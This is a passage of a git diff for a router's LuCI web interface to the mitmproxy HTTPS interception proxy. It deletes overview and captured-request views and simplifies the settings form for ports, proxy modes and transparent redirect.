flex-direction: column; gap: 16px; }', - '.mp-step { display: flex; gap: 16px; align-items: flex-start; }', - '.mp-step-num { width: 32px; height: 32px; background: var(--mp-primary); color: #fff; border-radius: 50%; display: flex; align-items: center; justify-content: center; font-weight: 600; font-size: 14px; flex-shrink: 0; }', - '.mp-step-content h4 { margin: 0 0 4px 0; font-size: 15px; color: #fff; }', - '.mp-step-content p { margin: 0; font-size: 13px; color: var(--mp-muted); }', - - /* Info Cards */ - '.mp-info-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 16px; margin-bottom: 24px; }', - '.mp-info-card { background: var(--mp-card); border: 1px solid var(--mp-border); border-radius: 12px; padding: 20px; }', - '.mp-info-header { display: flex; align-items: center; gap: 10px; margin-bottom: 12px; }', - '.mp-info-icon { font-size: 24px; }', - '.mp-info-title { font-size: 16px; font-weight: 600; color: #fff; }', - '.mp-info-value { font-size: 24px; font-weight: 700; color: var(--mp-primary); }', - '.mp-info-label { font-size: 13px; color: var(--mp-muted); }', - - /* How It Works */ - '.mp-howto { background: var(--mp-card); border: 1px solid var(--mp-border); border-radius: 16px; padding: 24px; }', - '.mp-howto-header { display: flex; align-items: center; gap: 12px; margin-bottom: 20px; }', - '.mp-howto-icon { font-size: 28px; }', - '.mp-howto-title { font-size: 20px; font-weight: 600; color: #fff; }', - '.mp-howto-diagram { background: rgba(0,0,0,0.3); border-radius: 12px; padding: 20px; font-family: monospace; font-size: 13px; line-height: 1.6; overflow-x: auto; }', - '.mp-howto-diagram pre { margin: 0; color: var(--mp-text); }' -].join('\n'); - -return view.extend({ - load: function() { return callStatus(); }, - - handleInstall: function() { - ui.showModal(_('Installing mitmproxy'), [ - E('p', { 'class': 'spinning' }, _('Downloading and setting up mitmproxy container...')), - E('p', { 'style': 'color: #888; font-size: 13px;' }, _('This may take a few minutes on first install.')) - ]); - callInstall().then(function(r) { - ui.hideModal(); - ui.addNotification(null, E('p', r.message || _('Installation started. Please wait and refresh the page.'))); - }).catch(function(e) { ui.hideModal(); ui.addNotification(null, E('p', e.message), 'error'); }); - }, - - handleStart: function() { - ui.showModal(_('Starting mitmproxy'), [E('p', { 'class': 'spinning' }, _('Starting proxy service...'))]); - callStart().then(function() { ui.hideModal(); location.reload(); }) - .catch(function(e) { ui.hideModal(); ui.addNotification(null, E('p', e.message), 'error'); }); - }, - - handleStop: function() { - ui.showModal(_('Stopping mitmproxy'), [E('p', { 'class': 'spinning' }, _('Stopping proxy service...'))]); - callStop().then(function() { ui.hideModal(); location.reload(); }) - .catch(function(e) { ui.hideModal(); ui.addNotification(null, E('p', e.message), 'error'); }); - }, - - render: function(status) { - if (!document.getElementById('mp-overview-styles')) { - var s = document.createElement('style'); - s.id = 'mp-overview-styles'; - s.textContent = css; - document.head.appendChild(s); - } - - var isInstalled = status.installed && status.docker_available; - var isRunning = status.running; - - // Not installed - show welcome wizard - if (!isInstalled) { - return E('div', { 'class': 'mp-overview' }, [ - // Header - E('div', { 'class': 'mp-header' }, [ - E('div', { 'class': 'mp-header-left' }, [ - E('div', { 'class': 'mp-logo' }, 'πŸ”'), - E('div', {}, [ - E('h1', { 'class': 'mp-title' }, 'mitmproxy'), - E('div', { 'class': 'mp-subtitle' }, _('HTTPS Interception Proxy')) - ]) - ]), - E('div', { 'class': 'mp-status stopped' }, [ - E('span', { 'class': 'mp-dot' }), - _('Not Installed') - ]) - ]), - - // Welcome Banner - E('div', { 'class': 'mp-welcome' }, [ - E('div', { 'class': 'mp-welcome-icon' }, 'πŸ”'), - E('h2', {}, _('Intercept & Analyze Network Traffic')), - E('p', {}, _('mitmproxy is a powerful interactive HTTPS proxy that lets you inspect, modify, and replay HTTP/HTTPS traffic. Perfect for debugging APIs, testing applications, and security analysis.')), - - // Features Grid - E('div', { 'class': 'mp-features', 'style': 'margin-bottom: 30px;' }, [ - E('div', { 'class': 'mp-feature' }, [ - E('span', { 'class': 'mp-feature-icon' }, 'πŸ“Š'), - E('span', { 'class': 'mp-feature-text' }, _('Real-time inspection')) - ]), - E('div', { 'class': 'mp-feature' }, [ - E('span', { 'class': 'mp-feature-icon' }, 'πŸ”’'), - E('span', { 'class': 'mp-feature-text' }, _('HTTPS decryption')) - ]), - E('div', { 'class': 'mp-feature' }, [ - E('span', { 'class': 'mp-feature-icon' }, 'πŸ–₯️'), - E('span', { 'class': 'mp-feature-text' }, _('Web-based UI')) - ]), - E('div', { 'class': 'mp-feature' }, [ - E('span', { 'class': 'mp-feature-icon' }, '🎭'), - E('span', { 'class': 'mp-feature-text' }, _('Transparent mode')) - ]), - E('div', { 'class': 'mp-feature' }, [ - E('span', { 'class': 'mp-feature-icon' }, 'πŸ”„'), - E('span', { 'class': 'mp-feature-text' }, _('Request replay')) - ]), - E('div', { 'class': 'mp-feature' }, [ - E('span', { 'class': 'mp-feature-icon' }, 'πŸ“'), - E('span', { 'class': 'mp-feature-text' }, _('Flow logging')) - ]) - ]), - - !status.docker_available ? - E('div', { 'style': 'color: #ef4444; margin-bottom: 20px;' }, [ - E('span', { 'style': 'font-size: 24px;' }, '⚠️ '), - _('Docker is required but not available') - ]) : null, - - E('button', { - 'class': 'mp-btn mp-btn-primary', - 'click': ui.createHandlerFn(this, 'handleInstall'), - 'disabled': !status.docker_available - }, ['πŸ“¦ ', _('Install mitmproxy')]), - - E('div', { 'class': 'mp-welcome-note' }, [ - '⚠️ ', - _('Security Note: mitmproxy is a powerful security analysis tool. Only use for legitimate debugging, testing, and security research purposes.') - ]) - ]), - - // Proxy Modes - E('h3', { 'style': 'margin: 0 0 16px 0; font-size: 18px; color: #fff;' }, '🎯 ' + _('Proxy Modes')), - E('div', { 'class': 'mp-modes' }, [ - E('div', { 'class': 'mp-mode-card' }, [ - E('div', { 'class': 'mp-mode-icon' }, '🎯'), - E('div', { 'class': 'mp-mode-title' }, _('Regular Proxy')), - E('div', { 'class': 'mp-mode-desc' }, _('Configure clients to use the proxy manually. Best for testing specific applications.')) - ]), - E('div', { 'class': 'mp-mode-card recommended' }, [ - E('div', { 'class': 'mp-mode-icon' }, '🎭'), - E('div', { 'class': 'mp-mode-title' }, _('Transparent Mode')), - E('div', { 'class': 'mp-mode-desc' }, _('Intercept all network traffic automatically via firewall rules.')), - E('span', { 'class': 'mp-mode-badge' }, _('Recommended')) - ]), - E('div', { 'class': 'mp-mode-card' }, [ - E('div', { 'class': 'mp-mode-icon' }, '⬆️'), - E('div', { 'class': 'mp-mode-title' }, _('Upstream Proxy')), - E('div', { 'class': 'mp-mode-desc' }, _('Forward traffic to another proxy server for proxy chaining.')) - ]), - E('div', { 'class': 'mp-mode-card' }, [ - E('div', { 'class': 'mp-mode-icon' }, '⬇️'), - E('div', { 'class': 'mp-mode-title' }, _('Reverse Proxy')), - E('div', { 'class': 'mp-mode-desc' }, _('Act as a reverse proxy to inspect backend server traffic.')) - ]) - ]) - ]); - } - - // Installed - show dashboard overview - return E('div', { 'class': 'mp-overview' }, [ - // Header - E('div', { 'class': 'mp-header' }, [ - E('div', { 'class': 'mp-header-left' }, [ - E('div', { 'class': 'mp-logo' }, 'πŸ”'), - E('div', {}, [ - E('h1', { 'class': 'mp-title' }, 'mitmproxy'), - E('div', { 'class': 'mp-subtitle' }, _('HTTPS Interception Proxy')) - ]) - ]), - E('div', { 'class': 'mp-status ' + (isRunning ? 'running' : 'stopped') }, [ - E('span', { 'class': 'mp-dot' }), - isRunning ? _('Running') : _('Stopped') - ]) - ]), - - // Quick Actions - E('div', { 'class': 'mp-actions' }, [ - isRunning ? E('button', { - 'class': 'mp-btn mp-btn-danger', - 'click': ui.createHandlerFn(this, 'handleStop') - }, ['⏹ ', _('Stop Proxy')]) : - E('button', { - 'class': 'mp-btn mp-btn-success', - 'click': ui.createHandlerFn(this, 'handleStart') - }, ['▢️ ', _('Start Proxy')]), - - E('a', { - 'class': 'mp-btn mp-btn-primary', - 'href': L.url('admin', 'secubox', 'security', 'mitmproxy', 'dashboard') - }, ['πŸ“Š ', _('Dashboard')]), - - E('a', { - 'class': 'mp-btn mp-btn-secondary', - 'href': 'http://' + window.location.hostname + ':' + (status.web_port || 8081), - 'target': '_blank' - }, ['πŸ–₯️ ', _('Web UI')]), - - E('a', { - 'class': 'mp-btn mp-btn-secondary', - 'href': L.url('admin', 'secubox', 'security', 'mitmproxy', 'settings') - }, ['βš™οΈ ', _('Settings')]) - ]), - - // Info Cards - E('div', { 'class': 'mp-info-grid' }, [ - E('div', { 'class': 'mp-info-card' }, [ - E('div', { 'class': 'mp-info-header' }, [ - E('span', { 'class': 'mp-info-icon' }, 'πŸ”Œ'), - E('span', { 'class': 'mp-info-title' }, _('Proxy Port')) - ]), - E('div', { 'class': 'mp-info-value' }, String(status.proxy_port || 8080)), - E('div', { 'class': 'mp-info-label' }, _('HTTP/HTTPS interception')) - ]), - E('div', { 'class': 'mp-info-card' }, [ - E('div', { 'class': 'mp-info-header' }, [ - E('span', { 'class': 'mp-info-icon' }, 'πŸ–₯️'), - E('span', { 'class': 'mp-info-title' }, _('Web UI Port')) - ]), - E('div', { 'class': 'mp-info-value' }, String(status.web_port || 8081)), - E('div', { 'class': 'mp-info-label' }, _('mitmweb interface')) - ]), - E('div', { 'class': 'mp-info-card' }, [ - E('div', { 'class': 'mp-info-header' }, [ - E('span', { 'class': 'mp-info-icon' }, 'πŸ’Ύ'), - E('span', { 'class': 'mp-info-title' }, _('Data Path')) - ]), - E('div', { 'class': 'mp-info-value', 'style': 'font-size: 14px; word-break: break-all;' }, status.data_path || '/srv/mitmproxy'), - E('div', { 'class': 'mp-info-label' }, _('Certificates & flows')) - ]) - ]), - - // Quick Start Guide - E('div', { 'class': 'mp-quickstart' }, [ - E('div', { 'class': 'mp-quickstart-header' }, [ - E('span', { 'class': 'mp-quickstart-icon' }, 'πŸš€'), - E('span', { 'class': 'mp-quickstart-title' }, _('Quick Start Guide')) - ]), - E('div', { 'class': 'mp-quickstart-steps' }, [ - E('div', { 'class': 'mp-step' }, [ - E('div', { 'class': 'mp-step-num' }, '1'), - E('div', { 'class': 'mp-step-content' }, [ - E('h4', {}, _('Start the Proxy')), - E('p', {}, _('Click the Start button above to begin intercepting traffic.')) - ]) - ]), - E('div', { 'class': 'mp-step' }, [ - E('div', { 'class': 'mp-step-num' }, '2'), - E('div', { 'class': 'mp-step-content' }, [ - E('h4', {}, _('Install CA Certificate')), - E('p', {}, [ - _('Navigate to '), - E('code', { 'style': 'background: rgba(255,255,255,0.1); padding: 2px 6px; border-radius: 4px;' }, 'http://mitm.it'), - _(' from a proxied device to download and install the CA certificate.') - ]) - ]) - ]), - E('div', { 'class': 'mp-step' }, [ - E('div', { 'class': 'mp-step-num' }, '3'), - E('div', { 'class': 'mp-step-content' }, [ - E('h4', {}, _('Configure Clients')), - E('p', {}, [ - _('Set proxy to '), - E('code', { 'style': 'background: rgba(255,255,255,0.1); padding: 2px 6px; border-radius: 4px;' }, window.location.hostname + ':' + (status.proxy_port || 8080)), - _(' or enable transparent mode in Settings.') - ]) - ]) - ]), - E('div', { 'class': 'mp-step' }, [ - E('div', { 'class': 'mp-step-num' }, '4'), - E('div', { 'class': 'mp-step-content' }, [ - E('h4', {}, _('View Traffic')), - E('p', {}, _('Open the Dashboard or Web UI to see captured requests in real-time.')) - ]) - ]) - ]) - ]), - - // How It Works Diagram - E('div', { 'class': 'mp-howto' }, [ - E('div', { 'class': 'mp-howto-header' }, [ - E('span', { 'class': 'mp-howto-icon' }, 'πŸ“–'), - E('span', { 'class': 'mp-howto-title' }, _('How mitmproxy Works')) - ]), - E('div', { 'class': 'mp-howto-diagram' }, [ - E('pre', {}, [ - ' Client Device SecuBox Router Internet\n', - ' β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”\n', - ' β”‚ Browser │─────▢│ mitmproxy │─────▢│ Server β”‚\n', - ' β”‚ │◀─────│ │◀─────│ β”‚\n', - ' β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ πŸ” Inspect β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜\n', - ' β”‚ ✏️ Modify β”‚\n', - ' β”‚ πŸ“Š Log β”‚\n', - ' β”‚ πŸ”„ Replay β”‚\n', - ' β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜\n', - '\n', - ' Port ' + (status.proxy_port || 8080) + ': HTTP/HTTPS interception\n', - ' Port ' + (status.web_port || 8081) + ': Web UI (mitmweb)' - ].join('')) - ]) - ]) - ]); - }, - - handleSaveApply: null, - handleSave: null, - handleReset: null -}); diff --git a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/requests.js b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/requests.js deleted file mode 100644 index 1dfd1ddd..00000000 --- a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/requests.js +++ /dev/null @@ -1,307 +0,0 @@ -'use strict'; -'require view'; -'require poll'; -'require dom'; -'require ui'; -'require mitmproxy/api as api'; -'require secubox-theme/theme as Theme'; -'require secubox-portal/header as SbHeader'; - -var lang = (typeof L !== 'undefined' && L.env && L.env.lang) || - (document.documentElement && document.documentElement.getAttribute('lang')) || - (navigator.language ? navigator.language.split('-')[0] : 'en'); -Theme.init({ language: lang }); - -var MITMPROXY_NAV = [ - { id: 'dashboard', icon: 'πŸ“Š', label: 'Dashboard' }, - { id: 'webui', icon: 'πŸ–₯️', label: 'Web UI' }, - { id: 'requests', icon: 'πŸ”', label: 'Requests' }, - { id: 'settings', icon: 'βš™οΈ', label: 'Settings' } -]; - -function renderMitmproxyNav(activeId) { - return E('div', { 'class': 'mp-app-nav' }, MITMPROXY_NAV.map(function(item) { - var isActive = activeId === item.id; - return E('a', { - 'href': L.url('admin', 'secubox', 'security', 'mitmproxy', item.id), - 'class': isActive ? 'active' : '' - }, [ - E('span', {}, item.icon), - E('span', {}, _(item.label)) - ]); - })); -} - -return view.extend({ - title: _('mitmproxy Requests'), - pollInterval: 3, - pollActive: true, - - load: function() { - return Promise.all([ - api.getStatus(), - api.getRequests(100) - ]).then(function(results) { - return { - status: results[0], - requests: results[1] - }; - }); - }, - - getMethodColor: function(method) { - var colors = { - 'GET': '#3498db', - 'POST': '#27ae60', - 'PUT': '#f39c12', - 'DELETE': '#e74c3c', - 'PATCH': '#9b59b6', - 'HEAD': '#1abc9c', - 'OPTIONS': '#95a5a6' - }; - return colors[method] || '#7f8c8d'; - }, - - getStatusColor: function(status) { - if (status >= 200 && status < 300) return '#27ae60'; - if (status >= 300 && status < 400) return '#3498db'; - if (status >= 400 && status < 500) return '#f39c12'; - if (status >= 500) return '#e74c3c'; - return '#95a5a6'; - }, - - updateRequests: function(data) { - var requests = (data.requests || {}).requests || []; - var container = document.querySelector('.mp-requests-list'); - if (!container) return; - - if (requests.length === 0) { - container.innerHTML = '
πŸ”
No requests captured

Generate HTTP traffic to see requests

'; - return; - } - - var self = this; - container.innerHTML = ''; - - requests.slice(-50).reverse().forEach(function(req) { - var request = req.request || req; - var response = req.response || {}; - var method = request.method || 'GET'; - var host = request.host || request.headers && request.headers.host || 'unknown'; - var path = request.path || '/'; - var status = response.status_code || response.status || 0; - var contentType = response.headers && (response.headers['content-type'] || response.headers['Content-Type']) || ''; - - var item = E('div', { 'class': 'mp-request-item' }, [ - E('div', { 'class': 'mp-request-method', 'style': 'background:' + self.getMethodColor(method) }, method), - E('div', { 'class': 'mp-request-info' }, [ - E('div', { 'class': 'mp-request-url' }, [ - E('span', { 'class': 'mp-request-host' }, host), - E('span', { 'class': 'mp-request-path' }, path) - ]), - E('div', { 'class': 'mp-request-meta' }, [ - status ? E('span', { 'class': 'mp-request-status', 'style': 'color:' + self.getStatusColor(status) }, status) : null, - contentType ? E('span', {}, contentType.split(';')[0]) : null, - req.timestamp ? E('span', {}, new Date(req.timestamp).toLocaleTimeString()) : null - ].filter(Boolean)) - ]), - E('div', { 'class': 'mp-request-actions' }, [ - E('button', { - 'class': 'mp-btn-icon', - 'title': 'View details', - 'click': function() { self.showRequestDetails(req); } - }, 'πŸ‘') - ]) - ]); - - container.appendChild(item); - }); - }, - - showRequestDetails: function(req) { - var request = req.request || req; - var response = req.response || {}; - - var content = E('div', { 'class': 'mp-request-details' }, [ - E('h3', {}, 'Request'), - E('pre', {}, [ - (request.method || 'GET') + ' ' + (request.path || '/') + ' HTTP/1.1\n', - 'Host: ' + (request.host || 'unknown') + '\n', - request.headers ? Object.keys(request.headers).map(function(k) { - return k + ': ' + request.headers[k]; - }).join('\n') : '' - ].join('')), - - response.status_code ? E('h3', {}, 'Response') : null, - response.status_code ? E('pre', {}, [ - 'HTTP/1.1 ' + response.status_code + ' ' + (response.reason || '') + '\n', - response.headers ? Object.keys(response.headers).map(function(k) { - return k + ': ' + response.headers[k]; - }).join('\n') : '' - ].join('')) : null, - - request.cookies && Object.keys(request.cookies).length ? E('h3', {}, 'Cookies') : null, - request.cookies && Object.keys(request.cookies).length ? E('pre', {}, - Object.keys(request.cookies).map(function(k) { - return k + '=' + request.cookies[k]; - }).join('\n') - ) : null - ].filter(Boolean)); - - ui.showModal(_('Request Details'), [ - content, - E('div', { 'class': 'right' }, [ - E('button', { - 'class': 'btn', - 'click': ui.hideModal - }, _('Close')) - ]) - ]); - }, - - startPolling: function() { - var self = this; - this.pollActive = true; - - poll.add(L.bind(function() { - if (!this.pollActive) return Promise.resolve(); - - return api.getRequests(100).then(L.bind(function(data) { - this.updateRequests({ requests: data }); - }, this)); - }, this), this.pollInterval); - }, - - stopPolling: function() { - this.pollActive = false; - poll.stop(); - }, - - render: function(data) { - var self = this; - var status = data.status || {}; - var requests = (data.requests || {}).requests || []; - - var view = E('div', { 'class': 'mitmproxy-dashboard' }, [ - E('link', { 'rel': 'stylesheet', 'href': L.resource('mitmproxy/dashboard.css') }), - E('style', {}, [ - '.mp-request-item { display: flex; align-items: center; gap: 12px; padding: 12px 16px; background: rgba(255,255,255,0.02); border-radius: 8px; margin-bottom: 8px; transition: background 0.2s; }', - '.mp-request-item:hover { background: rgba(255,255,255,0.05); }', - '.mp-request-method { min-width: 60px; padding: 4px 8px; border-radius: 4px; color: white; font-size: 11px; font-weight: 600; text-align: center; }', - '.mp-request-info { flex: 1; min-width: 0; }', - '.mp-request-url { display: flex; gap: 4px; font-size: 14px; }', - '.mp-request-host { font-weight: 500; color: #fff; }', - '.mp-request-path { color: var(--mp-text-muted); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }', - '.mp-request-meta { display: flex; gap: 16px; font-size: 12px; color: var(--mp-text-muted); margin-top: 4px; }', - '.mp-request-status { font-weight: 500; }', - '.mp-request-actions { display: flex; gap: 8px; }', - '.mp-btn-icon { background: rgba(255,255,255,0.1); border: none; border-radius: 6px; width: 32px; height: 32px; cursor: pointer; font-size: 14px; transition: background 0.2s; }', - '.mp-btn-icon:hover { background: rgba(255,255,255,0.2); }', - '.mp-request-details pre { background: #0d0d12; padding: 16px; border-radius: 8px; font-size: 12px; overflow-x: auto; white-space: pre-wrap; word-break: break-all; }', - '.mp-request-details h3 { margin: 16px 0 8px; font-size: 14px; color: var(--mp-primary); }' - ].join('')), - - // Header - E('div', { 'class': 'mp-header' }, [ - E('div', { 'class': 'mp-logo' }, [ - E('div', { 'class': 'mp-logo-icon' }, 'πŸ”'), - E('div', { 'class': 'mp-logo-text' }, 'Requests') - ]), - E('div', {}, [ - E('div', { - 'class': 'mp-status-badge ' + (status.running ? 'running' : 'stopped') - }, [ - E('span', { 'class': 'mp-status-dot' }), - status.running ? 'Capturing' : 'Stopped' - ]) - ]) - ]), - - // Controls - E('div', { 'class': 'mp-controls' }, [ - E('span', {}, _('Showing last 50 requests')), - E('div', { 'style': 'flex: 1' }), - E('button', { - 'class': 'mp-btn', - 'id': 'mp-poll-toggle', - 'click': L.bind(function(ev) { - var btn = ev.target; - if (this.pollActive) { - this.stopPolling(); - btn.textContent = 'β–Ά Resume'; - } else { - this.startPolling(); - btn.textContent = '⏸ Pause'; - } - }, this) - }, '⏸ Pause'), - E('button', { - 'class': 'mp-btn', - 'click': function() { location.reload(); } - }, 'πŸ”„ Refresh') - ]), - - // Requests list - E('div', { 'class': 'mp-card' }, [ - E('div', { 'class': 'mp-card-header' }, [ - E('div', { 'class': 'mp-card-title' }, [ - E('span', { 'class': 'mp-card-title-icon' }, 'πŸ“‹'), - 'Captured Requests' - ]), - E('div', { 'class': 'mp-card-badge' }, requests.length + ' requests') - ]), - E('div', { 'class': 'mp-card-body mp-requests-list' }, - requests.length > 0 ? - requests.slice(-50).reverse().map(function(req) { - var request = req.request || req; - var response = req.response || {}; - var method = request.method || 'GET'; - var host = request.host || (request.headers && request.headers.host) || 'unknown'; - var path = request.path || '/'; - var status_code = response.status_code || response.status || 0; - var contentType = response.headers && (response.headers['content-type'] || response.headers['Content-Type']) || ''; - - return E('div', { 'class': 'mp-request-item' }, [ - E('div', { 'class': 'mp-request-method', 'style': 'background:' + self.getMethodColor(method) }, method), - E('div', { 'class': 'mp-request-info' }, [ - E('div', { 'class': 'mp-request-url' }, [ - E('span', { 'class': 'mp-request-host' }, host), - E('span', { 'class': 'mp-request-path' }, path) - ]), - E('div', { 'class': 'mp-request-meta' }, [ - status_code ? E('span', { 'class': 'mp-request-status', 'style': 'color:' + self.getStatusColor(status_code) }, String(status_code)) : null, - contentType ? E('span', {}, contentType.split(';')[0]) : null - ].filter(Boolean)) - ]), - E('div', { 'class': 'mp-request-actions' }, [ - E('button', { - 'class': 'mp-btn-icon', - 'title': 'View details', - 'click': function() { self.showRequestDetails(req); } - }, 'πŸ‘') - ]) - ]); - }) : - E('div', { 'class': 'mp-empty' }, [ - E('div', { 'class': 'mp-empty-icon' }, 'πŸ”'), - E('div', { 'class': 'mp-empty-text' }, 'No requests captured'), - E('p', {}, 'Start the proxy and generate HTTP traffic') - ]) - ) - ]) - ]); - - // Start polling - this.startPolling(); - - var wrapper = E('div', { 'class': 'secubox-page-wrapper' }); - wrapper.appendChild(SbHeader.render()); - wrapper.appendChild(renderMitmproxyNav('requests')); - wrapper.appendChild(view); - return wrapper; - }, - - handleSaveApply: null, - handleSave: null, - handleReset: null -}); diff --git a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/settings.js b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/settings.js index b27dd119..f163b0e4 100644 --- a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/settings.js +++ b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/settings.js @@ -2,42 +2,8 @@ 'require view'; 'require form'; 'require uci'; -'require mitmproxy/api as api'; -'require secubox-theme/theme as Theme'; -'require secubox-portal/header as SbHeader'; - -var lang = (typeof L !== 'undefined' && L.env && L.env.lang) || - (document.documentElement && document.documentElement.getAttribute('lang')) || - (navigator.language ? navigator.language.split('-')[0] : 'en'); -Theme.init({ language: lang }); - -var MITMPROXY_NAV = [ - { id: 'dashboard', icon: 'πŸ“Š', label: 'Dashboard' }, - { id: 'webui', icon: 'πŸ–₯️', label: 'Web UI' }, - { id: 'requests', icon: 'πŸ”', label: 'Requests' }, - { id: 'settings', icon: 'βš™οΈ', label: 'Settings' } -]; - -function renderMitmproxyNav(activeId) { - return E('div', { - 'class': 'mp-app-nav', - 'style': 'display:flex;gap:8px;margin-bottom:20px;padding:12px 16px;background:#141419;border:1px solid rgba(255,255,255,0.08);border-radius:12px;' - }, MITMPROXY_NAV.map(function(item) { - var isActive = activeId === item.id; - return E('a', { - 'href': L.url('admin', 'secubox', 'security', 'mitmproxy', item.id), - 'style': 'display:flex;align-items:center;gap:8px;padding:10px 16px;border-radius:8px;text-decoration:none;font-size:14px;font-weight:500;transition:all 0.2s;' + - (isActive ? 'background:linear-gradient(135deg,#e74c3c,#c0392b);color:white;' : 'color:#a0a0b0;background:transparent;') - }, [ - E('span', {}, item.icon), - E('span', {}, _(item.label)) - ]); - })); -} return view.extend({ - title: _('mitmproxy Settings'), - load: function() { return uci.load('mitmproxy'); }, @@ -46,217 +12,69 @@ return view.extend({ var m, s, o; m = new form.Map('mitmproxy', _('mitmproxy Settings'), - _('Configure the mitmproxy HTTPS interception proxy with transparent mode and filtering options.')); + _('Configure the HTTPS intercepting proxy.')); - // ===================================================================== - // Main Proxy Configuration - // ===================================================================== - s = m.section(form.TypedSection, 'mitmproxy', _('Proxy Configuration')); + // Main Settings + s = m.section(form.TypedSection, 'mitmproxy', _('General')); s.anonymous = true; - s.addremove = false; - o = s.option(form.Flag, 'enabled', _('Enable'), - _('Enable mitmproxy at startup')); - o.default = '0'; + o = s.option(form.Flag, 'enabled', _('Enable')); o.rmempty = false; - o = s.option(form.ListValue, 'mode', _('Proxy Mode'), - _('How clients connect to the proxy')); - o.value('regular', _('Regular - Clients must configure proxy settings')); - o.value('transparent', _('Transparent - Intercept traffic automatically via nftables')); - o.value('upstream', _('Upstream - Forward to another proxy')); - o.value('reverse', _('Reverse - Reverse proxy mode')); - o.default = 'regular'; + o = s.option(form.ListValue, 'mode', _('Mode')); + o.value('regular', _('Regular Proxy')); + o.value('transparent', _('Transparent Proxy')); + o.value('upstream', _('Upstream Proxy')); + o.value('reverse', _('Reverse Proxy')); + o.default = 'transparent'; - o = s.option(form.Value, 'proxy_port', _('Proxy Port'), - _('Port for HTTP/HTTPS interception')); - o.default = '8080'; - o.placeholder = '8080'; + o = s.option(form.Value, 'proxy_port', _('Proxy Port')); o.datatype = 'port'; + o.default = '8888'; - o = s.option(form.Value, 'web_host', _('Web UI Address'), - _('IP address for mitmweb interface')); + o = s.option(form.Value, 'web_port', _('Web UI Port')); + o.datatype = 'port'; + o.default = '8082'; + + o = s.option(form.Value, 'web_host', _('Web UI Host')); o.default = '0.0.0.0'; - o.placeholder = '0.0.0.0'; - o.datatype = 'ipaddr'; - o = s.option(form.Value, 'web_port', _('Web UI Port'), - _('Port for mitmweb interface')); - o.default = '8081'; - o.placeholder = '8081'; - o.datatype = 'port'; - - o = s.option(form.Value, 'data_path', _('Data Path'), - _('Directory for storing certificates and data')); + o = s.option(form.Value, 'data_path', _('Data Path')); o.default = '/srv/mitmproxy'; - o = s.option(form.Value, 'memory_limit', _('Memory Limit'), - _('Maximum memory for the LXC container')); + o = s.option(form.Value, 'memory_limit', _('Memory Limit')); o.default = '256M'; - o.placeholder = '256M'; - o = s.option(form.Flag, 'ssl_insecure', _('Allow Insecure SSL'), - _('Accept invalid/self-signed SSL certificates from upstream servers')); - o.default = '0'; + o = s.option(form.Flag, 'ssl_insecure', _('Allow Insecure SSL')); - o = s.option(form.Flag, 'anticache', _('Anti-Cache'), - _('Strip cache headers to force fresh responses')); - o.default = '0'; + o = s.option(form.Flag, 'anticache', _('Disable Caching')); - o = s.option(form.Flag, 'anticomp', _('Anti-Compression'), - _('Disable compression to allow content inspection')); - o.default = '0'; + o = s.option(form.Flag, 'anticomp', _('Disable Compression')); - o = s.option(form.ListValue, 'flow_detail', _('Log Detail Level'), - _('Amount of detail in flow logs')); - o.value('0', _('Minimal')); - o.value('1', _('Summary')); - o.value('2', _('Full headers')); - o.value('3', _('Full headers + body preview')); - o.value('4', _('Full headers + full body')); - o.default = '1'; - - o = s.option(form.Value, 'upstream_proxy', _('Upstream Proxy'), - _('Forward traffic to this upstream proxy (e.g., http://proxy:8080)')); - o.depends('mode', 'upstream'); - o.placeholder = 'http://proxy:8080'; - - o = s.option(form.Value, 'reverse_target', _('Reverse Target'), - _('Target server for reverse proxy mode (e.g., http://localhost:80)')); - o.depends('mode', 'reverse'); - o.placeholder = 'http://localhost:80'; - - // ===================================================================== - // Transparent Mode Settings - // ===================================================================== + // Transparent Mode s = m.section(form.TypedSection, 'transparent', _('Transparent Mode')); s.anonymous = true; - s.addremove = false; - s.tab('transparent', _('Firewall Settings')); - o = s.taboption('transparent', form.Flag, 'enabled', _('Enable Transparent Firewall'), - _('Automatically setup nftables rules to redirect traffic')); - o.default = '0'; + o = s.option(form.Flag, 'enabled', _('Enable Transparent Redirect')); - o = s.taboption('transparent', form.Value, 'interface', _('Intercept Interface'), - _('Network interface to intercept traffic from')); + o = s.option(form.Value, 'interface', _('Interface')); o.default = 'br-lan'; - o.placeholder = 'br-lan'; o.depends('enabled', '1'); - o = s.taboption('transparent', form.Flag, 'redirect_http', _('Redirect HTTP'), - _('Intercept plain HTTP traffic')); - o.default = '1'; - o.depends('enabled', '1'); - - o = s.taboption('transparent', form.Flag, 'redirect_https', _('Redirect HTTPS'), - _('Intercept HTTPS traffic (requires CA certificate on clients)')); - o.default = '1'; - o.depends('enabled', '1'); - - o = s.taboption('transparent', form.Value, 'http_port', _('HTTP Port'), - _('Source port to intercept for HTTP')); - o.default = '80'; - o.datatype = 'port'; - o.depends('redirect_http', '1'); - - o = s.taboption('transparent', form.Value, 'https_port', _('HTTPS Port'), - _('Source port to intercept for HTTPS')); - o.default = '443'; - o.datatype = 'port'; - o.depends('redirect_https', '1'); - - // ===================================================================== - // Whitelist/Bypass Settings - // ===================================================================== - s = m.section(form.TypedSection, 'whitelist', _('Whitelist / Bypass')); + // Filtering + s = m.section(form.TypedSection, 'filtering', _('Analytics')); s.anonymous = true; - s.addremove = false; - o = s.option(form.Flag, 'enabled', _('Enable Whitelist'), - _('Skip interception for whitelisted IPs and domains')); - o.default = '1'; + o = 